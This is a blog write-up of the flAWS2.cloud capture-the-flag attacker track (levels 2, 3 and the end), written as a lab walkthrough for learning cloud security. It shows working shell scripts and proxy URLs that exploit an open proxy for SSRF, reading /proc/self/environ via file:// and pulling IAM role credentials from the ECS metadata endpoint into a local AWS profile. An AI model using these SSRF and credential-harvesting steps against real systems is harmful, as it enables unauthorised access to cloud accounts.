flAWS2.cloud — Red Team Level 2: Container Cracking

Nick Doyle
6 min readJul 1, 2020

Red Team — Level 2, 3, and End

Visiting that URL yields this:

Let’s fire up the AWS CLI again.

~/w/3/f/f/level2> aws --profile flaws2level1 sts get-caller-identityAn error occurred (ExpiredToken) when calling the GetCallerIdentity operation: The security token included in the request is expired

Ah dammit. The creds we obtained by breaking the lambda have expired.
Of course we could manually reobtain them. However I thought this a fun opportunity to automate this. So I wrote this little shell script. It requires 2 external programs

  • A python2 utility “crudini
    pip2 install — user crudini
  • jq — awesome json processor
    brew install jq
#!/bin/bash
INFILE=~/.aws/credentials
PROFILE='flaws2level1'
res=`curl -s 'https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=x' | tail -n1`AWS_ACCESS_KEY_ID=`echo $res | jq -r .AWS_ACCESS_KEY_ID`
AWS_SECRET_ACCESS_KEY=`echo $res | jq -r .AWS_SECRET_ACCESS_KEY`
AWS_SESSION_TOKEN=`echo $res | jq -r .AWS_SESSION_TOKEN`
AWS_REGION=`echo $res | jq -r .AWS_REGION`
echo "[$PROFILE]
REGION=$AWS_REGION
AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN=$AWS_SESSION_TOKEN
" | crudini --merge $INFILE
echo "Set creds for profile $PROFILE in $INFILE"

Executing this gets the creds and sets them in our ini (updating if they exist already). Neat huh.

So to business. Scott helpfully tells us the ECR registry is called “level2”:

~/w/3/f/f/level1 > aws --profile flaws2level1 ecr list-images --repository-name level2
{
"imageIds": [
{
"imageTag": "latest",
"imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e"
}
]
}

Let’s try to grab that image so we can inspect it.
First we run aws — profile flaws2level1 ecr get-login — no-include-email
Which returns “docker login -u AWS -p ……”
Execute that to have your docker host log in to the ECR registry, and you’ll see Login Succeeded.

Now we should be able to docker pull level2:latest
Except we can’t. Here I admit, had to use the hints. Even though I was logged in, I’d forgotten to specify pulling from ECR; default is docker hub. So docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
and sure enough we got it.

docker run — rm -ti -p8000:8000 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 bash
apt-get update -y; apt-get install -y vim

And we can find in /var/www/html/index.htm

Read about Level 3 at <a href="http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud">level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud</a>

Let’s do that ….

Red Team — Level 3

http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud

I notice this is all still over plain http which makes my skin crawl.
But hey it might help us red teamers out later.

Right ok, I did notice that proxy program he mentions in the container image actually, it’s in /var/www/html alongside index.html. If I hadn’t mentioned it, I wouls see with docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 there’s no ENTRYPOINT, and CMD = “sh /var/www/html/start.sh” .
Which just contains “python /var/www/html/proxy.py”

nginxroot@e247007162e8:/var/www/html# cat proxy.py
import SocketServer
import SimpleHTTPServer
import urllib
import os
PORT = 8000class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
# Remove starting slash
self.path = self.path[1:]
# Read the remote site
response = urllib.urlopen(self.path)
the_page = response.read(8192)
# Return it
self.wfile.write(bytes(the_page))
self.wfile.close()
httpd = SocketServer.ForkingTCPServer(('', PORT), Proxy)
print "serving at port", PORT
httpd.serve_forever()

We can also see in /etc/nginx/sites-available/default:

server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm;
merge_slashes off;
server_name _; location / {
try_files $uri $uri/ =404;
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/.htpasswd;
}
location /debug {
#perl_set $debug 'sub { return %ENV; }';
#return 200 '${debug}';
return 200 'debug';
}
location ~* ^/proxy/(.*)$ {
limit_except GET {
deny all;
}
limit_req zone=one burst=1;
set $proxyuri '$1';
proxy_limit_rate 4096;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host 'localhost';
resolver 8.8.8.8;
proxy_pass http://127.0.0.1:8000/$proxyuri;
}
}

So this is just like before, a proxy retrieving and returning any URL we desire.
This will enable us to commit SSRF and potentially pivot within this account.
Let’s try querying the ECS task’s Metadata:
http://container.target.flaws2.cloud/proxy/http://169.254.169.254/

Empty response. That IP is for EC2 instances, not ECS Tasks.
We’ll need to check the AWS doco on ECS Task Metadata Endpoints.
Turns out we want http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/metadata:

Proxied ECS Task Metadata

We can see there are actually 2 containers, the top one being Fargate’s Internal ECS Pause Container, excellently described in this blog post by my friend Arjen Schwarz.

In googling for info about this, I also came across a good writeup by Puma Security on just what we are working with.

And there they mention the exact problem we now have — namely that those juicy creds for the Task’s IAM Role aren’t just sitting there in the metadata like for EC2. With ECS Fargate, each container has an environment variable $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI which contains the URI to retrieve these, which has some randomness in it.

Also mentioned in that post on Puma Security is retrieving environment variables from linux’ “magic” proc filesystem, at /proc/self/environ

Let’s try it on our locally-running container:

root@e247007162e8:/var/www/html# cat /proc/self/environ
HOSTNAME=e247007162e8TERM=xtermOLDPWD=/LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/var/www/htmlSHLVL=1HOME=/root_=/bin/cat

It’s all smooshed together because apparently entries in this file are separated by null bytes (‘\0’). You can fix it up with e.g. cat /proc/self/environ | tr “\000” “\n”, as recommended on the proc man page

We can ask the proxy to send us his environment variables like so:

http://container.target.flaws2.cloud/proxy/file:///proc/self/environ

From which we get

AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/9c3439c4-b560–4aac-aa62-f904a24a34e6

So we make our absolute URI request, via the proxy:

http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6

For kicks, I updated my getcreds.sh to call this endpoint, and grab the different JSON values like so:

#!/bin/bash
INFILE=~/.aws/credentials
PROFILE='flaws2level2'
res=`curl -s 'http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6' | tail -n1`AWS_ACCESS_KEY_ID=`echo $res | jq -r .AccessKeyId`
AWS_SECRET_ACCESS_KEY=`echo $res | jq -r .SecretAccessKey`
AWS_SESSION_TOKEN=`echo $res | jq -r .Token`
echo "[$PROFILE]
REGION=us-east-1
AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN=$AWS_SESSION_TOKEN
" | crudini --merge $INFILE
echo "Set creds for profile $PROFILE in $INFILE"

and sure enough

%  ~/w/3/f/f/level2 > ./getcreds.sh                                                              
Set creds for profile flaws2level2 in /Users/nick.doyle/.aws/credentials
%  ~/w/3/f/f/level2 > aws --profile flaws2level2 sts get-caller-identity
{
"Account": "653711331788",
"UserId": "AROAJQMBDNUMIKLZKMF64:5782c64d-114b-4c40-8c14-06d59ca07797",
"Arn": "arn:aws:sts::653711331788:assumed-role/level3/5782c64d-114b-4c40-8c14-06d59ca07797"
}

I also tried out my shiny new script for nimbostratus with these creds, but the role doesn’t have IAM permissions to query, nor does it have any of the interesting perms that it tries bruteforcing.

Turns out though, it does have s3:ListBuckets:

And visiting http://the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud/

Yeaaahhh boi
Or if you want to try it in reverse :) https://www.youtube.com/watch?v=n6tnksyRygw

If you missed it here’s my writeup on the Attacker track Part 1.

Next up, I’ll try the Defender track.

--

--

Nick Doyle

Cloud-Security-Agile, in Melbourne Australia, experience includes writing profanity-laced Perl, surprise Migrations, furious DB Admin and Motorcycle instructing